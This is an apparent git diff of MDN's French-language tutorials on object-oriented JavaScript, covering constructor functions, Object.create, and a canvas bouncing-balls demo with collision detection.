Lorsqu'un objet est instancié à partir d'une fonction constructeur, les fonctions de la classe ne sont pas copiées directement dans l'objet comme dans la plupart des langages orientés objet (OO). En JavaScript, les fonctions sont liées grâce à une chaîne de référence appelée chaîne prototype (voir Prototypes Objet). Il ne s'agit donc pas d'une véritable instanciation au sens strict puisque JavaScript utilise un mécanisme différent pour partager des fonctionnalités entre les objets.

- -
-

Note : Ne pas être un "langage classique de POO" n'est pas nécessairement un défaut. Comme nous le mentionnions au début de l'article, la POO peut très vite devenir compliquée et JavaScript, grâce à ses différences parvient à utiliser certains concepts avancés tout en restant abordable.

-
- -

Voyons comment créer des classes via les constructeurs et les utiliser pour instancier des objets en JavaScript. Nous allons commencer par faire une copie locale du fichier oojs.html que nous avons vu dans notre premier article sur les objets.

- -

Un exemple simple

- -
    -
  1. Tout d'abord ; voyons comment définir une personne au travers d'une fonction classique. Vous pouvez ajouter l'exemple ci-dessous dans votre code existant : - 
    function creerNouvellePersonne(nom) {
-  var obj = {};
-  obj.nom = nom;
-  obj.salutation = function() {
-    alert('Salut ! Je m\'appelle ' + this.nom + '.');
-  };
-  return obj;
-}
    -
    2. -
  2. Vous pouvez désormais créer une personne en appelant cette fonction, essayez en copiant les lignes suivantes dans la console JavaScript de votre navigateur : - 
    var salva = creerNouvellePersonne('Salva');
-salva.nom;
-salva.salutation();
    - Ça fonctionne bien, mais on peut améliorer notre exemple. Si l'on sait que l'on va créer un objet, pourquoi créer un objet vide pour l'utiliser ensuite ? Heureusement, JavaScript est là et possède des fonctions adaptées comme les constructeurs. À l'abordage !
    3. -
  3. Remplacez la fonction précédente par celle-ci : - 
    function Personne(nom) {
-  this.nom = nom;
-  this.salutation = function() {
-    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
-  };
-}
    -
    4. -
- -

Le constructeur est l'équivalent JavaScript d'une classe. Il possède l'ensemble des fonctionnalités d'une fonction, cependant il ne renvoie rien et ne crée pas d'objet explicitement. Il se contente de définir les propriétés et les méthodes associées. Il y a aussi l'utilisation du mot-clé this, ce mot-clé sert au sein d'une instance qui sera créée à y faire référence, ainsi l'attribut nom sera, pour l'instance, égal au nom passé en argument de la fonction constructrice, la méthode salutation() retournera elle aussi le nom passé en argument de la fonction constructrice.

- -
-

Note : Les fonctions de type constructeur commencent généralement par une majuscule. Cette convention d'écriture permet de repérer les constructeurs plus facilement dans le code.

-
- -

Comment pouvons-nous utiliser un constructeur ?

- -
    -
  1. Ajoutez les lignes suivantes au code déjà existant : - 
    var personne1 = new Personne('Bob');
-var personne2 = new Personne('Sarah');
    -
    2. -
  2. Enregistrez votre code et relancez le dans votre navigateur puis essayez d'entrer les lignes suivantes dans la console : - 
    personne1.nom
-personne1.salutation()
-personne2.nom
-personne2.salutation()
    -
    3. -
- -

Pas mal ! Vous voyez désormais que nous avons deux nouveaux objets sur cette page, chaque objet étant stocké dans un espace de nom différent, pour y accéder il faut utiliser personne1 et personne2 pour préfixer les fonctions et attributs. Ce rangement permet de ne pas tout casser et de ne pas rentrer en collision avec d'autres fonctionnalités. Cependant les objets disposent du même attribut nom et de la même méthode salutation(). Heureusement, les attributs et les méthodes utilisent this ce qui leur permet d'utiliser les valeurs propres à chaque instance et de ne pas les mélanger.

- -

Revoyons l'appel au constructeur :

- -
var personne1 = new Personne('Bob');
-var personne2 = new Personne('Sarah');
- -

Dans chaque cas, le mot clé new est utilisé pour dire au navigateur que nous souhaitons définir une nouvelle instance, il est suivi du nom de la fonction que l'on utilise et de ses paramètres fournis entre parenthèses, le résultat est stocké dans une variable. Chaque instance est créée à partir de cette définition :

- -
function Personne(nom) {
-  this.nom = nom;
-  this.salutation = function() {
-    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
-  };
-}
- -

Une fois les objets créés, les variables personne1 et personne2 contiennent les objets suivants :

- -
{
-  nom: 'Bob',
-  salutation: function() {
-    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
-  }
-}
-
-{
-  nom: 'Sarah',
-  salutation: function() {
-    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
-  }
-}
- -

On peut remarquer qu'à chaque appel de notre fonction constructrice nous définissons salutation() à chaque fois. Cela peut être évité via la définition de la fonction au sein du prototype, ce que nous verrons plus tard.

- -

Créons une version finalisée de notre constructeur

- -

L'exemple que nous avons utilisé jusqu'à présent était destiné à aborder les notions de base des constructeurs. Créons un constructeur digne de ce nom pour notre fonction constructrice Personne().

- -
    -
  1. Vous pouvez retirer le code que vous aviez ajouté précédemment pour le remplacer par le constructeur suivant, c'est la même fonction, ça reste un constructeur, nous avons juste ajouté quelques détails : - 
    function Personne(prenom, nom, age, genre, interets) {
-  this.nom = {
-    prenom,
-    nom
-  };
-  this.age = age;
-  this.genre = genre;
-  this.interets = interets;
-  this.bio = function() {
-    alert(this.nom.prenom + ' ' + this.nom.nom + ' a ' + this.age + ' ans. Il aime ' + this.interets[0] + ' et ' + this.interets[1] + '.');
-  };
-  this.salutation = function() {
-    alert('Bonjour ! Je m\'appelle ' + this.nom.prenom + '.');
-  };
-};
    -
    2. -
  2. Vous pouvez ajouter la ligne ci-dessous pour créer une instance à partir du constructeur : - 
    var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']);
    -
    3. -
- -

Vous pouvez accéder aux fonctions des objets instanciés de la même manière qu'avant :

- -
personne1['age']
-personne1.interets[1]
-personne1.bio()
-// etc.
- -
-

Note : Si vous avez du mal à faire fonctionner cet exemple, vous pouvez comparez votre travail avec notre version (voir oojs-class-finished.html (vous pouvez aussi jeter un œil à la démo)

-
- -

Exercices

- -

Vous pouvez démarrer en instanciant de nouveaux objets puis en essayant de modifier et d'accéder à leurs attributs respectifs.

- -

D'autre part, il y a quelques améliorations possibles pour notre méthode bio(). En effet elle affiche systématiquement le pronom 'il', même si votre personne est une femme ou bien préfère se définir par un autre genre. De plus, la biographie n'inclut que deux passions, même s'il y en a plus dans la liste. Essayez d'améliorer cette méthode. Vous pourrez mettre votre code à l'intérieur du constructeur (vous aurez probablement besoin de quelques structures conditionnelles et d'une boucle). Réflechissez à la syntaxe des phrases qui devra s'adapter en fonction du genre et du nombre de passions listées.

- -
-

Note: Si vous êtes bloqués, nous avons mis une réponse possible sur notre dépôt GitHub (la démo) —tentez d'abord l'aventure avant d'aller regarder la réponse !

-
- -

D'autres manières d'instancier des objets

- -

Jusque là nous n'avons abordé que deux manières différentes pour créer une instance d'objet, la déclarer de manière explicite et en utilisant le constructeur.

- -

Elles sont toutes les deux valables, mais il en existe d'autres. Afin que vous les reconnaissiez lorsque vous vous baladez sur le Web, nous en avons listées quelques unes.

- -

Le constructeur Object()

- -

Vous pouvez en premier lieu utiliser le constructeur Object() pour créer un nouvel objet. Oui, même les objets génériques ont leur propre constructeur, qui génère un objet vide.

- -
    -
  1. Essayez la commande suivante dans la console JavaScript de votre navigateur : - 
    var personne1 = new Object();
    -
    2. -
  2. On stocke ainsi un objet vide dans la variable personne1. Vous pouvez ensuite ajouter des attributs et des méthodes à cet objet en utilisant la notation point ou parenthèses comme vous le souhaitez. - 
    personne1.nom = 'Chris';
-personne1['age'] = 38;
-personne1.salutation = function() {
-  alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
-};
    -
    3. -
  3. Vous pouvez aussi passer un objet en paramètre du constructeur Object(), afin de prédéfinir certains attributs et méthodes. - 
    var personne1 = new Object({
-  nom: 'Chris',
-  age: 38,
-  salutation: function() {
-    alert('Bonjour ! Je m\'appelle ' + this.nom + '.');
-  }
-});
    -
    4. -
- -

Via la méthode create()

- -

Les constructeurs permettent de structurer le code : vous pouvez avoir l'ensemble de vos constructeurs au même endroit et ensuite créer les instances suivant vos besoins, en identifiant clairement leur origine.  

- -

Cependant, on peut vouloir créér des instances d'un objet, sans forcément définir un constructeur au préalable. (Particulierement si l'on a peu d'instances de cet object). JavaScript intègre directement une méthode appelée create() qui rend cela possible. Elle permet d'instancier un objet à partir d'un objet existant  .

- -
    -
  1. Essayez d'ajouter la ligne suivante dans votre console JavaScript : - 
    var personne2 = Object.create(personne1);
    -
    2. -
  2. Maintenant : - 
    personne2.nom
-personne2.salutation()
    -
    3. -
- -

personne2 a été créée à partir de personne1 — et elle possède les mêmes propriétés. 

- -

L'inconvénient de create() est qu'elle n'est pas supportée par IE8. Ainsi, utiliser les constructeurs peut s'avérer plus judicieux lorsqu'il s'agit de supporter les anciens navigateurs Web.

- -

Nous verrons les détails et les effets de create() plus tard.

- -

Résumé

- -

Cet article vous a donné un aperçu simplifié de la programmation orientée objet. Tout n'y a pas été détaillé mais ça vous permet de vous faire une idée. Nous avons vu comment JavaScript s'appuyait sur un certain nombre de principes orienté objet tout en ayant un certain nombre de particularités. Nous avons aussi vu comment implémenter des classes en JavaScript via la fonction constructeur ainsi que les différentes manières de générer des instances d'objets.

- -

Dans le prochain article, nous explorerons le monde des objets prototypes en JavaScript.

- -

{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}

diff --git a/files/fr/learn/javascript/objects/la_construction_d_objet_en_pratique/index.html b/files/fr/learn/javascript/objects/la_construction_d_objet_en_pratique/index.html deleted file mode 100644 index a2ab4270eb..0000000000 --- a/files/fr/learn/javascript/objects/la_construction_d_objet_en_pratique/index.html +++ /dev/null @@ -1,316 +0,0 @@ ---- -title: La construction d'objet en pratique -slug: Learn/JavaScript/Objects/la_construction_d_objet_en_pratique -tags: - - Apprendre - - Article - - Canvas - - Débutant - - JavaScript - - Manuel - - Objets - - Tutoriel -translation_of: Learn/JavaScript/Objects/Object_building_practice ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}
- -

Dans l'article précédent, nous avons passé en revue l'essentiel de la théorie de l'objet Javascript et sa syntaxe détaillée, vous donnant ainsi des bases solides sur lesquelles commencer. Dans le présent article nous plongeons dans un exercice pratique afin d'accroître votre savoir-faire dans la construction d'objets entièrement personnalisés donnant un résultat plutôt amusant et très coloré.

- - - - - - - - - - - - -
Pré-requis : -

Connaissance basique de l'informatique, une compréhension basique du HTML et du CSS, une familiarité avec  les bases du JavaScript (voir Premiers pas et Les blocs de construction) et les bases de la programmation objet en JavaScript (voir Introduction aux objets). 

-
Objectif : -

Acquérir plus de pratique dans l'utilisation des objets et des techniques orientées objet dans un contexte "monde réel".

-
- -

Faisons bondir quelques balles

- -

Dans cet article, nous écrirons une démo classique de "balles bondissantes", pour vous montrer à quel point les objets peuvent être utiles en JavaScript. Nos petites balles bondiront partout sur notre écran et changeront de couleurs lorsqu'elles se toucheront. L'exemple finalisé ressemblera un peu à ceci : 

- -

- -
    -
- -

Cet exemple utilise l'API Canvas  pour dessiner les balles sur l'écran, et l'API requestAnimationFrame  pour animer l'ensemble de l'affichage — Nul besoin d'avoir une connaissance préalable de ces APIs, nous expérons qu'une fois cet article terminé, vous aurez envie d'en faire une exploration approfondie. Tout le long du parcours nous utiliserons certains objets formidables et vous montrerons nombre de techniques sympathiques comme des balles bondissantes sur les murs et la vérification de balles qui s'entrechoquent (encore connue sous l'appelation détection de collision).

- -

Pour commencer, faites des copies locales de nos fichiers index.html, style.css, et main.js. Ces fichiers contiennent respectivement :

- -
    -
  1. Un document  HTML très simple contenant un élément {{HTMLElement("h1")}} , un élément {{HTMLElement("canvas")}} pour dessiner nos balles dessus et des élements  pour appliquer notre CSS et notre JavaScript à notre HTML ;
    2. -
  2. Quelques styles très simples qui servent principalement à mettre en forme et placer le <h1>, et se débarasser de toutes barres de défilement ou de marges autour du pourtour de notre page (afin que cela paraisse plus sympathique et élégant) ;
    3. -
  3. Un peu de JavaScript qui sert à paramétrer l'élément  <canvas> et fournir les fonctions globalles que nous utiliserons.
    4. -
- -

La première partie du script ressemble à ceci :

- -
const canvas = document.querySelector('canvas');
-
-const ctx = canvas.getContext('2d');
-
-const width = canvas.width = window.innerWidth;
-const height = canvas.height = window.innerHeight;
- -

Ce script prend une référence à l'élément  <canvas> et ensuite invoque la méthode  getContext() sur lui, nous donnant ainsi un contexte sur lequel nous pouvons commencer à dessiner. La variable résultante  (ctx)  est l'objet qui représente directement la surface du Canvas où nous pouvons dessiner et qui nous permet de dessiner des formes 2D sur ce dernier. 

- -

Après, nous configurons  les variables width (largeur) et height(hauteur),  et la largeur et la hauteur de l'élément canvas (représentés par les propriétés  canvas.width et canvas.height ) afin qu'elles soient identiques à la fenêtre du navigateur (la surface sur laquelle apparaît la page web— Ceci peut être tiré des propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}).

- -

Vous verrez qu'ici nous enchaînons les assignations des valeurs des différentes variables ensemble à des fins de rapidité. Ceci est parfaitement autorisé.

- -

Le dernier morceau du script ressemble à ceci :

- -
function random(min, max) {
-  var num = Math.floor(Math.random() * (max - min + 1)) + min;
-  return num;
-}
- -

Cette fonction prend deux nombres comme arguments, et renvoie un nombre compris entre les deux. 

- -

Modéliser une balle dans notre programme

- -

Notre programme met en œuvre beaucoup de balles bondissant partout sur l'écran. Comme nos balles se comporteront toutes de la même façon, cela semble tout à fait sensé de les représenter avec un objet. Commençons donc en ajoutant le constructeur suivant à la fin de notre code.

- -
function Ball(x, y, velX, velY, color, size) {
-  this.x = x;
-  this.y = y;
-  this.velX = velX;
-  this.velY = velY;
-  this.color = color;
-  this.size = size;
-}
- -

Ici, nous incluons des paramètres qui définissent  des propriétés dont chaque balle aura besoin pour fonctionner dans notre programme :

- -
    -
  • Les coordonnées x et y  — les coordonnées verticales et horizontales où la balle débutera sur l'écran. Ceci peut se trouver entre 0 (coin à gauche en haut) et la valeur de la hauteur et de la largeur de la fenêtre du navigateur (coin en bas à droite).
    • -
  • Une vitesse horizontale et verticale (velX et velY) — à chaque balle est attribuée une vitesse horizontale et verticale; en termes réels ces valeurs seront régulièrement ajoutéés aux valeurs de la coordonnée x/y quand nous commencerons à animer les balles, afin de les faire bouger d'autant sur chaque vignette (frame).
    • -
  • color — chaque balle a une couleur.
    • -
  • size — chaque balle a une taille — ce sera son rayon mesuré en pixels.
    • -
- -

Ceci règle le problème des propriétés mais qu'en est il des méthodes ? Nous voulons maintenant amener nos balles à faire quelque chose dans notre programme.

- -

Dessiner la balle

- -

En premier lieu ajoutez la méthode draw() au prototype de Ball() :

- -
Ball.prototype.draw = function() {
-  ctx.beginPath();
-  ctx.fillStyle = this.color;
-  ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI);
-  ctx.fill();
-}
- -

En utilisant cette fonction, nous pouvons dire à notre balle de se dessiner sur l'écran en appelant une série de membres du contexte 2D du canvas que nous avons défini plus tôt  (ctx). Le contexte est comme le papier et maintenant nous allons demander à notre stylo d'y dessiner quelque chose :

- -
    -
  • Premièrement, nous utilisons beginPath() pour spécifier que nous voulons dessiner une forme sur le papier.
    • -
  • Ensuite, nous utilisons fillStyle pour définir de quelle couleur nous voulons que la forme soit — nous lui attribuons la valeur de la propriété color de notre balle.
    • -
  • Après, nous utilisons la méthode arc() pour tracer une forme en arc sur le papier. Ses paramètres sont : -
      -
    • Les positions x et y du centre de l'arc — nous specifions donc les propriétés x et y de notre balle.
      • -
    • Le rayon de l'arc — nous specifions la propriété size de notre balle.
      • -
    • Les deux derniers paramètres spécifient l'intervalle de début et de fin en degrés pour dessiner l'arc. Ici nous avons spécifié 0 degrés et 2 * PI qui est l'équivalent de 360 degrés en radians (malheureusement  vous êtes obligés  de spécifier ces valeurs en radians et non en degrés). Cela nous donne un cercle complet. Si vous aviez spécifié seulement  1 * PI, vous auriez eu un demi-cercle (180 degrés).
      • -
    -
    • -
  • En dernière position nous utilisons la méthode fill() qui est habituellement utilisée pour spécifier que nous souhaitons mettre fin au dessin que nous avons commencé avec beginPath(), et remplir la surface délimitée avec la couleur que nous avions spécifiée plus tôt avec fillStyle.
    • -
- -

Vous pouvez déjà commencer à tester votre objet.

- -
    -
  1. Sauvegardez le code et chargez le fichier html dans un navigateur.
    2. -
  2. Ouvrez la console JavaScript du navigateur et actualisez la page afin que la taille du canvas change et prenne la petite taille restante de la fenêtre lorsque la console est ouverte.
    3. -
  3. Tapez dans la console ce qui suit afin de créer une nouvelle instance de balle : - 
    let testBall = new Ball(50, 100, 4, 4, 'blue', 10);
    -
    4. -
  4. Essayez d'appeler ses membres : - 
    testBall.x
-testBall.size
-testBall.color
-testBall.draw()
    -
    5. -
  5. Lorsque vous entrerez la dernière ligne, vous devriez voir la balle se dessiner quelque part sur votre canvas.
    6. -
- -

Mettre à jour les données de la balle

- -

Nous pouvons dessiner la balle dans n'importe quelle position, mais actuellement pour commencer à la bouger nous aurons besoin d'une sorte de fonction de mise à jour. Insérez donc le code suivant à la fin de votre fichier JavaScript pour ajouter une méthode update() au prototype de Ball():

- -
Ball.prototype.update = function() {
-  if ((this.x + this.size) >= width) {
-    this.velX = -(this.velX);
-  }
-
-  if ((this.x - this.size) <= 0) {
-    this.velX = -(this.velX);
-  }
-
-  if ((this.y + this.size) >= height) {
-    this.velY = -(this.velY);
-  }
-
-  if ((this.y - this.size) <= 0) {
-    this.velY = -(this.velY);
-  }
-
-  this.x += this.velX;
-  this.y += this.velY;
-}
- -

Les quatre premières parties de la fonction vérifient si la balle a atteint le rebord  du canvas. Si c'est le cas, nous inversons la polarité de la vitesse appropriée pour faire bouger la balle dans le sens opposé. Donc par exemple, si la balle se déplaçait vers le haut (positif velY) alors la vitesse verticale est changée afin qu'elle commence à bouger plutôt vers le bas (negatif velY).

- -

Dans les quatre cas nous :

- -
    -
  • Verifions si la coordonnée x est plus grande que la largeur du canvas (la balle est en train de sortir du côté droit).
    • -
  • Verifions si la coordonnée x est plus petite que 0 (la balle est en train de sortir du côté gauche).
    • -
  • Verifions si la coordonnée y est plus grande que la hauteur du canvas (la balle est en train de sortir par le bas).
    • -
  • Verifions si la coordonnée y est plus petite que 0 (la balle est en train de sortir par le  haut).
    • -
- -

Dans chaque cas, nous incluons la taille size de la balle dans les calculs parce que les coordonnées  x/y  sont situées au centre de la balle mais nous voulons que le pourtour de la balle rebondisse sur le rebord  — nous ne voulons pas que la balle sorte à moité hors de l'écran avant de commencer à rebondir vers l'arrière.

- -

Les deux dernières lignes ajoutent la valeur velX à la coordonnée x et la valeur velY à la coordonnée y — la balle est en effet mise en mouvement chaque fois que cette méthode est invoquée.

- -

Cela suffira pour l'instant, passons à l'animation !

- -

Animer la balle

- -

Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles au canvas et à les animer.

- -
    -
  1. Tout d'abord, nous avons besoin d'un endroit où stocker toutes nos balles. Le tableau suivant fera ce travail — ajoutez-le au bas de votre code maintenant : - - 
    let balls = [];
-
    - - 
    while (balls.length < 25) {
-  let size = random(10,20);
-  let ball = new Ball(
-    // ball position always drawn at least one ball width
-    // away from the edge of the canvas, to avoid drawing errors
-    random(0 + size,width - size),
-    random(0 + size,height - size),
-    random(-7,7),
-    random(-7,7),
-    'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')',
-    size
-  );
-
-  balls.push(ball);
-}
    - Tous les programmes qui animent les choses impliquent généralement une boucle d'animation, qui sert à mettre à jour les informations dans le programme et à restituer ensuite la vue résultante sur chaque image de l'animation. C'est la base de la plupart des jeux et autres programmes similaires.
    2. -
  2. Ajoutez ce qui suit au bas de votre code maintenant : - 
    function loop() {
-  ctx.fillStyle = 'rgba(0, 0, 0, 0.25)';
-  ctx.fillRect(0, 0, width, height);
-
-  for (let i = 0; i < balls.length; i++) {
-    balls[i].draw();
-    balls[i].update();
-  }
-
-  requestAnimationFrame(loop);
-}
    - -

    Notre fonction loop() fonctionne comme suit :

    - -
      -
    • On définit la couleur de remplissage du canvas en noir semi-transparent, puis dessine un rectangle de couleur sur toute la largeur et la hauteur du canvas, en utilisant fillRect() (les quatre paramètres fournissent une coordonnée de départ et une largeur et une hauteur pour le rectangle dessiné ). Cela sert à masquer le dessin de l'image précédente avant que la suivante ne soit dessinée. Si vous ne faites pas cela, vous verrez juste de longs serpents se faufiler autour de la toile au lieu de balles qui bougent ! La couleur du remplissage est définie sur semi-transparent, rgba (0,0,0,.25), pour permettre aux quelques images précédentes de briller légèrement, produisant les petites traînées derrière les balles lorsqu'elles se déplacent. Si vous avez changé 0.25 à 1, vous ne les verrez plus du tout. Essayez de faire varier ce dernier nombre (entre 0 et 1) pour voir l'effet qu'il a.
      • -
    • On crée un nouvel objet Ball() avec des attributs générées aléatoirement grâce à la fonction random(), puis on ajoute l'objet au tableau, mais seulement lorsque le nombre de balles dans le tableau est inférieur à 25. Donc quand on a 25 balles à l'écran, plus aucune balle supplémentaire n'apparaît. Vous pouvez essayer de faire varier le nombre dans balls.length <25 pour obtenir plus, ou moins de balles à l'écran. En fonction de la puissance de traitement de votre ordinateur / navigateur, spécifier plusieurs milliers de boules peut ralentir l'animation de façon très significative !
      • -
    • Le programme boucle à travers tous les objets du tableau sur chacun desquels il exécute la fonction draw() et update() pour dessiner à l'écran chaque balle et faire les mise à jour de chaque attribut vant le prochain rafraîchissement.
      • -
    • Exécute à nouveau la fonction à l'aide de la méthode requestAnimationFrame() — lorsque cette méthode est exécutée en permanence et a reçu le même nom de fonction, elle exécute cette fonction un nombre défini de fois par seconde pour créer une animation fluide. Cela se fait généralement de manière récursive — ce qui signifie que la fonction s'appelle elle-même à chaque fois qu'elle s'exécute, de sorte qu'elle sera répétée encore et encore.
      • -
    -
    3. -
  3. Finallement mais non moins important, ajoutez la ligne suivante au bas de votre code — nous devons appeler la fonction une fois pour démarrer l'animation. - 
    loop();
    -
    4. -
- -

Voilà pour les bases — essayez d'enregistrer et de rafraîchir pour tester vos balles bondissantes!

- -

Ajouter la détection de collision

- -

Maintenant, pour un peu de plaisir, ajoutons une détection de collision à notre programme, afin que nos balles sachent quand elles ont frappé une autre balle.

- -
    -
  1. Tout d'abord, ajoutez la définition de méthode suivante ci-dessous où vous avez défini la méthode update() (c'est-à-dire le bloc Ball.prototype.update). - - 
    Ball.prototype.collisionDetect = function() {
-  for (let j = 0; j < balls.length; j++) {
-    if (!(this === balls[j])) {
-      const dx = this.x - balls[j].x;
-      const dy = this.y - balls[j].y;
-      const distance = Math.sqrt(dx * dx + dy * dy);
-
-      if (distance < this.size + balls[j].size) {
-        balls[j].color = this.color = 'rgb(' + random(0, 255) + ',' + random(0, 255) + ',' + random(0, 255) +')';
-      }
-    }
-  }
-}
    - -

    Cette méthode est un peu complexe, donc ne vous inquiétez pas si vous ne comprenez pas exactement comment cela fonctionne pour le moment. Regardons cela pas-à-pas :

    - -
      -
    • Pour chaque balle b, nous devons vérifier chaque autre balle pour voir si elle est entrée en collision avec b. Pour ce faire, on inspecte toutes les balles du tableau balls[] dans une boucle for.
      • -
    • Immédiatement à l'intérieur de cette boucle for, une instruction if vérifie si la balle courante  b' , inspectée dans la boucle, n'est égale à la balle b. Le code correspondant est :  b'!== b. En effet, nous ne voulons pas vérifier si une balle b est entrée en collision avec elle-même ! Nous contrôlons donc si la balle actuelle b—dont la méthode collisionDetect() est invoquée—est distincte de la balle b' inspectée dans la boucle. Ainsi le bloc de code venant après l'instruction if ne s'exécutera que si les balles b et b' ne sont pas identiques.
      • -
    • Un algorithme classique permet ensuite de vérifier la superposition de deux disques. Ceci est expliqué plus loin dans 2D collision detection.
      • -
    • Si une collision est détectée, le code à l'intérieur de l'instruction interne if est exécuté. Dans ce cas, nous définissons simplement la propriété color des deux cercles à une nouvelle couleur aléatoire. Nous aurions pu faire quelque chose de bien plus complexe, comme faire rebondir les balles de façon réaliste, mais cela aurait été beaucoup plus complexe à mettre en œuvre. Pour de telles simulations de physique, les développeurs ont tendance à utiliser des bibliothèques de jeux ou de physiques telles que PhysicsJS, matter.js, Phaser, etc.
      • -
    -
    2. -
  2. Vous devez également appeler cette méthode dans chaque image de l'animation. Ajouter le code ci-dessous  juste après la ligne balls[i].update();: - 
    balls[i].collisionDetect();
    -
    3. -
  3. Enregistrez et rafraîchissez la démo à nouveau, et vous verrez vos balles changer de couleur quand elles entrent en collision !
    4. -
- -
-

Note : Si vous avez des difficultés à faire fonctionner cet exemple, essayez de comparer votre code JavaScript avec notre version finale (voir également la démo en ligne).

-
- -

Résumé

- -

Nous espérons que vous vous êtes amusé à écrire votre propre exemple de balles aléatoires bondissantes comme dans le monde réel, en utilisant diverses techniques orientées objet et divers objets d'un bout à l'autre du module ! Nous espérons vous avoir offert un aperçu utile de l'utilisation des objets.
-
- C'est tout pour les articles sur les objets — il ne vous reste plus qu'à tester vos compétences dans l'évaluation sur les objets.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}

- - - -

Dans ce module

- - diff --git a/files/fr/learn/javascript/objects/object-oriented_js/index.html b/files/fr/learn/javascript/objects/object-oriented_js/index.html new file mode 100644 index 0000000000..c16e9a230e --- /dev/null +++ b/files/fr/learn/javascript/objects/object-oriented_js/index.html @@ -0,0 +1,278 @@ +--- +title: Le JavaScript orienté objet pour débutants +slug: Learn/JavaScript/Objects/JS_orienté-objet +tags: + - Apprendre + - Débutant + - Guide + - JavaScript + - OOJS + - OOP + - POO +translation_of: Learn/JavaScript/Objects/Object-oriented_JS +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}
+ +

Après avoir parcouru les fondamentaux, nous allons aborder en détail le JavaScript orienté objet (JSOO). Cet article présente une approche simple de la programmation orientée objet (POO) et détaille comment JavaScript émule des classes objet au travers des méthodes constructeur et comment instancier ces objets.

+ + + + + + + + + + + + +
Pré-requis :Connaissances de base en informatique et compréhension des notions HTML et CSS, notions de JavaScript (voir Premiers pas et Blocs de construction)
Objectif :Comprendre les concepts de base derrière la programmation orientée objet et comment ils s'appliquent à JavaScript ( « tout est objet » ) et comment créer des constructeurs et instancier des objets.
+ +

La programmation orientée objet de loin

+ +

Pour commencer, donnons une vue simplifiée et de haut niveau de ce qu'est la programmation orientée objet (POO). On parle d'une vision simplifiée étant donnée que la POO peut devenir très vite complexe et qu'être exhaustif rendrait probablement la découverte plus confuse et difficile qu'autre chose. L'idée de base de la POO consiste à utiliser des objets pour modéliser les objets du monde réel que l'on souhaite représenter dans nos programmes et/ou de fournir un moyen simple d'accéder à une fonctionnalité qu'il serait difficile d'utiliser autrement.

+ +

Les objets peuvent contenir des données et du code représentant de l'information au sujet de la chose que l'on essaie de modéliser ainsi que des fonctionnalités ou un comportement que l'on souhaite lui appliquer. Les données (et bien souvent les fonctions) associées à un objet peuvent être stockées (le terme officiel est encapsulé) à l'intérieur d'un paquet objet. Il est possible de donner un nom spécifique à un paquet objet afin  d'y faire référence, on parle alors d'espace de noms ou namespace, il sera ainsi plus facile de le manipuler et d'y accéder. Les objets peuvent aussi servir pour stocker des données et les transférer facilement sur un réseau.

+ +

Définissons un modèle objet

+ +

Nous allons voir un programme simple qui affiche des informations à propos des élèves et des professeurs d'une école. Nous allons aborder la théorie de la programmation orientée objet de manière générale sans l'appliquer à un langage particulier.

+ +

Pour débuter, nous pouvons réutiliser l'objet Personne que nous avons créé dans notre premier article, il définit un ensemble de données et actions d'une personne. Il existe tout un tas de choses que nous pourrions savoir au sujet d'une personne (son adresse, sa taille, sa pointure, son ADN, son numéro de passeport, ses traits particuliers significatifs… ). En l'occurrence, nous souhaitons uniquement afficher son nom, son âge, ses passions, écrire une petite introduction à son sujet en utilisant ces données et lui apprendre à se présenter. On parle alors d'abstraction : créer un modèle simplifié de quelque chose de complexe mais qui ne contient que les aspects qui nous intéressent. Il sera alors plus simple de manipuler ce modèle objet simplifié dans le cadre de notre programme.

+ +

Classe Personne avec attributs élémentaires

+ +

Dans plusieurs langages de POO, la définition d'un objet est appelé une classe (comme on le verra ci-après, JavaScript se base sur un mécanisme et une terminologie différente). En réalité ce n'est pas vraiment un objet mais plutôt un modèle qui définit les propriétés que notre objet doit avoir.

+ +

Créons des objets

+ +

À partir de notre classe, nous pouvons créer des objets, on parle alors d'instancier des objets, une classe objet a alors une instance. Il s'agit d'objets qui contiennent les données et attributs définis dans une classe. À partir de notre classe Personne, nous pouvons modéliser des personnes réelles :

+ +

Instantiation on a Personn Class for JS examples (fr)

+ +

Lorsque l'instance d'un objet est créée, on appelle la fonction constructeur de la classe pour la créer. On parle d'instanciation d'un objet — l'objet ainsi créé est instancié à partir de la classe.

+ +

Classes filles

+ +

Pour notre exemple, nous n'allons pas nous contenter de personnes génériques — nous pourrions utiliser des professeurs, des étudiants, qui sont des types un peu plus spécifiques de personnes. En POO, il est possible de créer de nouvelles classes à partir d'autres classes — ces classes filles nouvellement créées peuvent hériter des propriétés et des attributs de leur classe mère. Il est donc possible d'avoir des attributs partagés à l'ensemble des classes plutôt que de les dupliquer. Si besoin, il est possible d'ajouter des fonctions et attributs spécifiques sur chaque classe fille.

+ +

Inheritance principle with French text for JS example

+ +

Cela s'avère très utile puisque les étudiants et les professeurs se ressemblent sur de nombreux aspects : ils ont un nom, un genre, un âge, il est donc utile de ne définir ces attributs qu'une seule fois. Il est aussi possible de redéfinir le même attribut dans différentes classes étant donné que l'attribut appartiendra à chaque fois à un nom d'espace différent. On pourra ainsi avoir différentes formes de salutations : « Hey, je m'appelle [prénom] » pour les étudiants ( « Hey je m'appelle Sam » ) tandis que les professeurs pourront dire quelque chose d'un peu plus formel comme « Bonjour, mon nom est [Titre][Nom] et j'enseigne [matière] » par exemple « Bonjour mon nom est M. Griffiths et j'enseigne la chimie ».

+ +
+

